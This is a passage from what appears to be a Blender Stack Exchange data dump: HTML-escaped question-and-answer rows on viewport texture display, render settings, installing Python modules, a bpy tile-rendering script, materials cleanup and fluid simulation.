/&gt;&#xA;&lt;h1&gt;Blender 2.5x - 2.7x:&lt;/h1&gt;&#xA;&lt;h3&gt;Blender internal:&lt;/h3&gt;&#xA;&lt;p&gt;Try setting the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options#View_Shading&quot; rel=&quot;noreferrer&quot;&gt;viewport shading&lt;/a&gt; to &lt;em&gt;Texture&lt;/em&gt; (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bPEph.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that this only works when the object's UV map has the appropriate texture displayed in the UV/image editor: (see &lt;a href=&quot;https://blender.stackexchange.com/questions/3772/how-is-this-blendfile-hiding-textures&quot;&gt;this post&lt;/a&gt; for more information)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lBwi5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To display the textures used in the material of the object regardless of the texture (or lack of texture) displayed in the &lt;em&gt;UV image editor&lt;/em&gt;, enable &lt;em&gt;GLSL&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Properties region (&lt;kbd&gt;N&lt;/kbd&gt;) &amp;gt; Shading&lt;/em&gt; and set the viewport shading to &lt;em&gt;Texture&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R1nmf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Cycles:&lt;/h3&gt;&#xA;&lt;p&gt;You need a material to display textures in the viewport in cycles.&lt;/p&gt;&#xA;&lt;p&gt;Set the viewport shading to &lt;em&gt;Texture&lt;/em&gt; or &lt;em&gt;Material&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Texture&lt;/em&gt; displays the texture of the last selected image texture node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6FcQe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Material&lt;/em&gt; tries to approximate the result of the shader nodes, so if you have two combined textures:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uk8Ut.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2020-07-24T21:30:00.970" LastActivityDate="2020-07-24T21:30:00.970" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="5285" PostTypeId="1" AcceptedAnswerId="5286" CreationDate="2013-12-04T08:08:03.057" Score="16" ViewCount="13664" Body="&lt;p&gt;Blender is rendering an older version of my project, not the most recent one. I have made it using the Blender Render but it does not want to render in cycles either. A black and grey screen is rendered as if everything is transparent. Checked general camera, lighting and compute devises in case I messed something up but I can't find anything. All my textures and objects look normal, does anybody know what is wrong or what to check?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok added link:&#xA;&lt;a href=&quot;http://www.mediafire.com/download/ah0brd38psfyb7i/Bathroom%20test%20upload.blend&quot; rel=&quot;noreferrer&quot;&gt;http://www.mediafire.com/download/ah0brd38psfyb7i/Bathroom%20test%20upload.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1748" LastEditorDisplayName="user1853" LastEditDate="2018-04-26T17:07:59.563" LastActivityDate="2020-01-21T04:21:40.857" Title="Blender is rendering an older version my project" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5286" PostTypeId="2" ParentId="5285" CreationDate="2013-12-04T08:33:19.963" Score="17" Body="&lt;p&gt;This is because you have some sequencer strips in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;VSE&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render#Post_Processing&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Compositor&lt;/em&gt; and &lt;em&gt;Sequence&lt;/em&gt;  settings&lt;/a&gt; are enabled by default, so if there is any data in the compositor or the sequencer blender will render from that instead of the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render#Post_Processing&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If&#xA;  you are using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Compositor&lt;/a&gt; or &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sequencer&lt;/a&gt;, you can tell Blender to&#xA;  process those effects instead of directly rendering the scene.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Disable &lt;em&gt;Sequence&lt;/em&gt; in &lt;em&gt;Render Settings &gt; Post processing&lt;/em&gt; or remove the sequencer strips and it will render the scene instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;version 2.8x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Jbbzn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jbbzn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wLk30.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorDisplayName="user1853" LastEditDate="2020-01-21T04:21:40.857" LastActivityDate="2020-01-21T04:21:40.857" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="5287" PostTypeId="1" CreationDate="2013-12-04T09:37:44.040" Score="60" ViewCount="41903" Body="&lt;p&gt;I'm currently developing a script for Blender to handle Mesh Frequency Decomposition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script is nearly complete, but i need one more thing: The SciPy library to compute eigenvalues and eigenvectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the installation instructions on &lt;a href=&quot;http://www.scipy.org/install.html&quot;&gt;their site&lt;/a&gt;, I'm able to install it as well as Numpy. Numpy works fine, but I can't even import SciPy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;File &quot;/CAF_FD.py&quot;, line 4, in &amp;lt;module&amp;gt;&#xA;ImportError: No module named 'scipy'&#xA;Error: Python script fail, look in the console for now...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the way, I'm working on Linux 64 bit and I've installed SciPy and Numpy with my package manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: When I try to use SciPy with a terminal prompt, it works.&lt;/p&gt;&#xA;" OwnerUserId="1749" LastEditorUserId="55" LastEditDate="2014-11-17T19:50:03.727" LastActivityDate="2019-11-03T04:48:22.327" Title="Using 3rd party Python modules" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="7" CommentCount="4" FavoriteCount="29" ContentLicense="CC BY-SA 3.0" />
  <row Id="5288" PostTypeId="1" AcceptedAnswerId="5290" CreationDate="2013-12-04T10:05:48.253" Score="9" ViewCount="5058" Body="&lt;p&gt;I went to hit &lt;kbd&gt;Numpad 5&lt;/kbd&gt; to switch out of perspective mode but I accidentally hit another key. Now my scene looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rg4P3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the meshes are still there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SGY9p.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do? I can upload the .blend if needed.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="599" LastEditDate="2013-12-04T10:30:24.953" LastActivityDate="2015-10-19T13:11:55.670" Title="Can't see any objects anymore" Tags="&lt;3d-view&gt;&lt;shortcut&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5289" PostTypeId="2" ParentId="5287" CreationDate="2013-12-04T10:25:50.243" Score="54" Body="&lt;p&gt;Python3.4 in Blender is bundled within Blender. It doesn't share libraries with system's python (see &lt;a href=&quot;https://blender.stackexchange.com/questions/3321/blender-wont-import-my-custom-module-importerror-no-module-named-mymodule&quot;&gt;this related post&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to use extra libraries you need to install it into &lt;code&gt;/blender/2.72/python/lib/python3.4/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR&lt;/strong&gt; you can remove &lt;code&gt;/blender/2.72/python&lt;/code&gt; and Blender will fallback to using the Python installed on the system (however the versions must be compatible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR&lt;/strong&gt; you can specify a folder in the &lt;em&gt;script&lt;/em&gt; input of the &lt;em&gt;User preferences&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lp873.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this folder &lt;strong&gt;must contain 3 sub-directories&lt;/strong&gt; : &lt;code&gt;addons&lt;/code&gt;, &lt;code&gt;modules&lt;/code&gt;, and &lt;code&gt;startup&lt;/code&gt;. So you can install the library in the &lt;code&gt;modules&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Gandalf3 suggested, you can find more information in the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/getting_started/installing/configuration/directories.html&quot; rel=&quot;noreferrer&quot;&gt;wiki here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="935" LastEditDate="2019-07-14T09:13:51.403" LastActivityDate="2019-07-14T09:13:51.403" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="5290" PostTypeId="2" ParentId="5288" CreationDate="2013-12-04T10:27:06.060" Score="8" Body="&lt;p&gt;Thanks to Polosson's help I discovererd that I was on a different layer.&#xA;For others with this problem make sure your layers looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5s4xJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And not something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yoQzw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2013-12-04T10:27:06.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5291" PostTypeId="1" AcceptedAnswerId="5293" CreationDate="2013-12-04T10:47:11.620" Score="13" ViewCount="4989" Body="&lt;p&gt;I managed to compile Blender as a Python import module. When I do &lt;code&gt;bpy.ops.render.render(write_still=True)&lt;/code&gt; it renders with cycles. How can I render by using Blender internal renderer instead?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2021-03-14T08:39:53.043" Title="How to switch rendering engine via python script" Tags="&lt;rendering&gt;&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5292" PostTypeId="1" AcceptedAnswerId="5295" CreationDate="2013-12-04T11:28:22.007" Score="5" ViewCount="2673" Body="&lt;p&gt;I tried to render a file at %1000 res first my mouse locked up then it returned to normal, blender entered the render screen but never started rendering. after about 10 mins blender crashed and quit. Is it possible to render a image this good, would having a better PC help, could my PC have run out of free RAM(I think it has 2 GB).&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="55" LastEditDate="2016-06-07T09:32:37.607" LastActivityDate="2016-06-07T12:54:27.887" Title="How to render very high resolutions without running out of memory?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5293" PostTypeId="2" ParentId="5291" CreationDate="2013-12-04T12:10:13.947" Score="12" Body="&lt;p&gt;You can set the engine before rendering like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.render.engine = 'BLENDER_WORKBENCH'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its possible multiple scenes are involved in the render so you may want to do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for scene in bpy.data.scenes:&#xA;    scene.render.engine = 'BLENDER_WORKBENCH'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt; If you select the &lt;em&gt;Scripting&lt;/em&gt; screen, then change the engine, the code to do this is printed at the top of the screen (called the &lt;em&gt;Info&lt;/em&gt; view), eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.render.engine = 'BLENDER_WORKBENCH'&#xA;bpy.context.scene.render.engine = 'CYCLES'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2019-10-22T15:56:13.853" LastActivityDate="2019-10-22T15:56:13.853" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="5295" PostTypeId="2" ParentId="5292" CreationDate="2013-12-04T12:13:56.940" Score="11" Body="&lt;p&gt;If you want to render scenes that require more memory then your system has, I think your best option is to render the image in sections (tiles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there are more then one script to do this, but I found one here:&#xA;    &lt;a href=&quot;http://blenderscripting.blogspot.com.au/2011/07/calculate-tile-render-ratio-snippet.html&quot; rel=&quot;nofollow&quot;&gt;http://blenderscripting.blogspot.com.au/2011/07/calculate-tile-render-ratio-snippet.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; made an improved version of the script linked above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This uses environment variables so you don't have to do manual edits to the file to change settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TILE_X=10 TILE_Y=10 PERCENT=1000 blender -b /path/to.blend -P render_tiles.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also save the file with very high resolution and omit the &lt;code&gt;PERCENT&lt;/code&gt; var&lt;br&gt;(which will be set to &lt;code&gt;100&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once completed, the montage command to join the images is printed.&lt;br&gt;&#xA;This depends on ImageMagick's &lt;a href=&quot;http://www.imagemagick.org/Usage/montage/&quot; rel=&quot;nofollow&quot;&gt;montage command&lt;/a&gt;, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Run this command to join images:&#xA;    montage -tile 10x10 -border 0 -mode concatenate '/tmp/render_*.*' final.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Heres the script: &lt;code&gt;render_tiles.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def main():&#xA;    import os&#xA;    import bpy&#xA;    from bpy import context&#xA;&#xA;    scene = context.scene&#xA;    render = scene.render&#xA;&#xA;    tiles_x = int(os.environ.get(&quot;TILE_X&quot;, &quot;4&quot;))&#xA;    tiles_y = int(os.environ.get(&quot;TILE_Y&quot;, &quot;4&quot;))&#xA;    resolution_percentage = int(os.environ.get(&quot;PERCENT&quot;, &quot;100&quot;))&#xA;&#xA;    slice_x = 1.0 / tiles_x&#xA;    slice_y = 1.0 / tiles_y&#xA;&#xA;    # use border and crop&#xA;    render.use_border = True&#xA;    render.use_crop_to_border = True&#xA;&#xA;    # set resolution percentage&#xA;    render.resolution_percentage = resolution_percentage&#xA;&#xA;    filepath_orig = render.filepath&#xA;&#xA;    # track progress&#xA;    tiles_done = 0&#xA;    tiles_total = tiles_x * tiles_y&#xA;&#xA;    for div_y in range(tiles_x):&#xA;        for div_x in range(tiles_y):&#xA;&#xA;            render.border_min_x = slice_x * div_x&#xA;            render.border_max_x = slice_x * (div_x + 1)&#xA;            render.border_min_y = 1.0 - (slice_y * (div_y + 1))&#xA;            render.border_max_y = 1.0 - (slice_y * div_y)&#xA;&#xA;            cell_name = &quot;%04d_%02d_%02d&quot; % (tiles_done + 1, div_x + 1, div_y + 1)&#xA;&#xA;            render.filepath = &quot;%s_%s&quot; % (filepath_orig, cell_name)&#xA;&#xA;            bpy.ops.render.render(write_still=True)&#xA;&#xA;            print(&quot;Rendered %s (%d of %d)&quot; % (cell_name, tiles_done, tiles_total))&#xA;&#xA;            tiles_done += 1&#xA;&#xA;    print(&quot;Finished: %d tiles&quot; % tiles_done)&#xA;&#xA;    print(&quot;Run this command to join images:&quot;)&#xA;    print(&quot;    montage -tile %dx%d -border 0 -mode concatenate %r final.png&quot; %&#xA;          (tiles_x, tiles_y, bpy.path.abspath(filepath_orig) + &quot;*.*&quot; ))&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-06-07T12:54:27.887" LastActivityDate="2016-06-07T12:54:27.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5296" PostTypeId="2" ParentId="5241" CreationDate="2013-12-04T14:06:45.563" Score="2" Body="&lt;p&gt;I recently had a similar problem which turned out to be caused by accidentally activating the option to &quot;Manipulate center points&quot; (shortcut &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;,&lt;/kbd&gt;). This will (as a side-effect) disable rotation and scaling in pose and object modes. It's the symbol right next to the pivot mode with the three dots above a two-sided arrow.&lt;/p&gt;&#xA;" OwnerUserId="1259" LastEditorUserId="241" LastEditDate="2015-12-01T14:27:54.620" LastActivityDate="2015-12-01T14:27:54.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5297" PostTypeId="1" AcceptedAnswerId="5299" CreationDate="2013-12-04T15:08:22.480" Score="4" ViewCount="2150" Body="&lt;p&gt;How can I explode an object then have them come back to form the original object. Kind of like going back in time.&lt;/p&gt;&#xA;&lt;p&gt;The object is cell fractured into many peaces and it uses a ball object to explode it out. But how do I make the exploded pieces come together to original form?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GrJnV.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2021-03-12T10:25:10.593" Title="Cell fracture explosion with followed by reform of the object?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5299" PostTypeId="2" ParentId="5297" CreationDate="2013-12-04T16:24:08.627" Score="4" Body="&lt;p&gt;To do what your asking:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can bake the rigid body action by pressing &lt;kbd&gt;Space&lt;/kbd&gt;, then searching for &lt;em&gt;Bake Action&lt;/em&gt;. This will convert the rigid body simulation to an actual animation for the object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Trim off the extra animation (when the objects fall forever):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JqV6D.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate the remaining keys, press &lt;kbd&gt;S&lt;/kbd&gt; (scale), then type -1. This will flip the keys.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8aiWp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Position them after the original keys:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BSB2p.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;And you get:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8VOl7.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-04T16:24:08.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5300" PostTypeId="1" AcceptedAnswerId="5301" CreationDate="2013-12-04T18:16:11.330" Score="66" ViewCount="116152" Body="&lt;p&gt;I'm testing different materials in the same object, and finally the file has a lot of unnecessary material, is there any command  that performs the cleaning of these materials automatically? in short, is it possible to make them disappear from the file?&lt;/p&gt;&#xA;" OwnerUserId="1358" LastEditorUserId="29301" LastEditDate="2018-10-26T18:22:05.147" LastActivityDate="2021-02-13T10:40:59.873" Title="How can I remove all unused materials from a .blend file?" Tags="&lt;materials&gt;&lt;blend-files&gt;&lt;data-blocks&gt;" AnswerCount="9" CommentCount="1" FavoriteCount="21" ContentLicense="CC BY-SA 4.0" />
  <row Id="5301" PostTypeId="2" ParentId="5300" CreationDate="2013-12-04T18:19:08.683" Score="63" Body="&lt;p&gt;After unlinking your materials, save your file. Then reload it with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;O&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-12-04T18:19:08.683" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5303" PostTypeId="2" ParentId="5300" CreationDate="2013-12-04T20:07:35.323" Score="26" Body="&lt;p&gt;Unused Materials will disappear as soon as you save and re-open the file. These are listed with a &lt;code&gt;0&lt;/code&gt; next to their name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make a material lose all its users (hence have 0 users and be removed the next time you open that file), press &lt;kbd&gt;Shift&lt;/kbd&gt; and left click on the &lt;em&gt;X&lt;/em&gt; icon next to the materials' name on Material Properties.&lt;/p&gt;&#xA;" OwnerUserId="266" LastEditorUserId="12" LastEditDate="2013-12-04T20:10:51.610" LastActivityDate="2013-12-04T20:10:51.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5304" PostTypeId="1" AcceptedAnswerId="5340" CreationDate="2013-12-04T20:31:44.650" Score="7" ViewCount="169" Body="&lt;p&gt;I have two blend files. Both files use distance in meters. The first file is a character of 2.267 meters tall. The second file is a single handed axe of height 56 centimeters. When I link the axe object to the character file the axe shows up, but is only 5.6 centimeters in height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what might be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Axe blend file: &lt;a href=&quot;http://cybermagesllc.com/models/Axe.blend&quot; rel=&quot;noreferrer&quot;&gt;http://cybermagesllc.com/models/Axe.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1753" LastEditorUserId="1753" LastEditDate="2013-12-04T22:45:53.347" LastActivityDate="2013-12-07T00:13:51.813" Title="When I link a blend file, why is the object showing up at 1/10th the scale?" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5305" PostTypeId="1" AcceptedAnswerId="5306" CreationDate="2013-12-04T21:11:15.527" Score="12" ViewCount="10697" Body="&lt;p&gt;On the blender website there is this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qCBlb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would I need to do to recreate this, cubes and spheres falling instead of fruit would be fine. I believe this uses the cycles render I have never used this before. &lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="12" LastEditDate="2013-12-04T21:18:48.427" LastActivityDate="2013-12-05T21:56:42.537" Title="Simulate objects falling into water" Tags="&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5306" PostTypeId="2" ParentId="5305" CreationDate="2013-12-04T21:15:48.520" Score="16" Body="&lt;p&gt;This can be done with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid&quot;&gt;&lt;em&gt;Fluid Simulation&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid#Workflow&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In general, you follow these steps:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;set the simulation domain (the portion of the scene where the fluid will flow),&lt;/li&gt;&#xA;  &lt;li&gt;set the fluid source(s), and specify its material, viscosity, and initial velocity,&lt;/li&gt;&#xA;  &lt;li&gt;eventually, set other objects to control the volume of the fluid (inlets and outlets),&lt;/li&gt;&#xA;  &lt;li&gt;eventually, set other objects related to the fluid, like:&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;obstacles,&lt;/li&gt;&#xA;  &lt;li&gt;particles floating on the fluid,&lt;/li&gt;&#xA;  &lt;li&gt;fluid control, to shape part of the fluid in the desired form, &lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;eventually, animate the fluid properties,&lt;/li&gt;&#xA;  &lt;li&gt;Bake the simulation (eventually, revise as necessary and bake repeatedly).&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A quick way to setup the domain is with &lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&gt; Search &gt; Quick Fluid&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make something exactly like that image, check &lt;a href=&quot;http://www.blenderguru.com/videos/create-a-realistic-fruit-splash/&quot;&gt;this tutorial on Blender Guru&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you could:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the domain object (You could select an object and use &lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&gt; Quick Fluid&lt;/em&gt;, but here is how to do it manually):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cube (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Mesh &gt; Cube&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Fluid&lt;/em&gt; modifier in &lt;em&gt;Physics&lt;/em&gt; and set the &lt;em&gt;Type&lt;/em&gt; to &lt;em&gt;Domain&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fcsas.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a second cube for the fluid:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N968k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;fluid&lt;/em&gt; modifier in &lt;em&gt;Physics&lt;/em&gt; and set the &lt;em&gt;Type&lt;/em&gt; to &lt;em&gt;Fluid&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Z2bT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the falling objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ylS4o.png&quot; alt=&quot;enter image description 